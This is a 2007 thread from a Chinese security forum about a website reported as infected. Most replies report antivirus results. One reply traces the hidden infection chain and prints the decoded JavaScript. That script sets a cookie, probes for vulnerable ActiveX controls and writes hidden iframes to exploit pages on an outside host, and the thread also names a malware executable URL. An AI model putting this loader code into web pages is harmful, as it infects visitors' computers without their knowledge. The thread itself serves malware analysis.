一个有病毒网站

nvhaichina

http://www.xd008.com/ 呵呵不会抓样本，见笑了

jimmyleo

没有什么发现

capsshift

红伞没报。

aceilete

没什么发现。

computerpig

没有反应

dikex

挂得很隐蔽的一个东西，在那个网页的最下面：

<script language="JavaScript" src=" http://ad3.59ys.cn/mss/mdpics.js?uid=25719&;a=&b=&c=&d=&e=&f=" type="text/javascript" id="9ku_pic"></script>

由这个脚本的最下面的SenFe()函数得：

<iframe height="0" width="0" src="http://www.59.vc/page/add_75353223.htm"></iframe>

这里里面调用了一个脚本：

<script src=addr.js></script>

解密这个addr.js脚本就可以看到想要的东西了：

var Then=new Date();Then.setTime(Then.getTime()+24*60*60*1000);var cookieString=new String(document.cookie);var cookieHeader="Cookie1=";var beginPosition=cookieString.indexOf(cookieHeader);document.write('<iframe style=display:none src="http://99.vc/real.gif"></iframe>');if(beginPosition==-1){document.cookie="Cookie1=POPWINDOS;expires="+Then.toGMTString();try{if(new ActiveXObject("Microsoft.XMLHTTP"))document.write('<script src="http://99.vc/NewJs1.js"><\/script>')}catch(e){}try{if(new ActiveXObject("DPClient.Vod"))document.write('<iframe style=display:none src="http://99.vc/tok.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("MPS.StormPlayer.1"))document.write('<iframe style=display:none src="http://99.vc/bf.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1"))document.write('<iframe style=display:none src="http://99.vc/T.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("Pdg2"))document.write('<iframe style=display:none src="http://99.vc/reader.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("GLCHAT.GLChatCtrl.1"))document.write('<iframe style=display:none src="http://99.vc/Link.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("BaiduBar.Tool.1"))document.write('<iframe style=display:none src="http://99.vc/baidu.gif"></iframe>')}catch(e){}}

和昨天17173被挂的是一样的：http://99.vc/s.exe

jimmyleo

那个我当是统计 忽略掉了

gogo8989

FS没报，但IE7挡了加载项

啊弥陀佛

微点砍掉

绅博周幸

原帖由 dikex 于 2007-12-3 22:42 发表
挂得很隐蔽的一个东西，在那个网页的最下面：



由这个脚本的最下面的SenFe()函数得：



这里里面调用了一个脚本：



解密这个addr.js脚本就可以看到想要的东西了：

var Then=new Date();Then.set ...

可惜对VISTA没什么用，VISTA已经大幅提高了IE的安全性。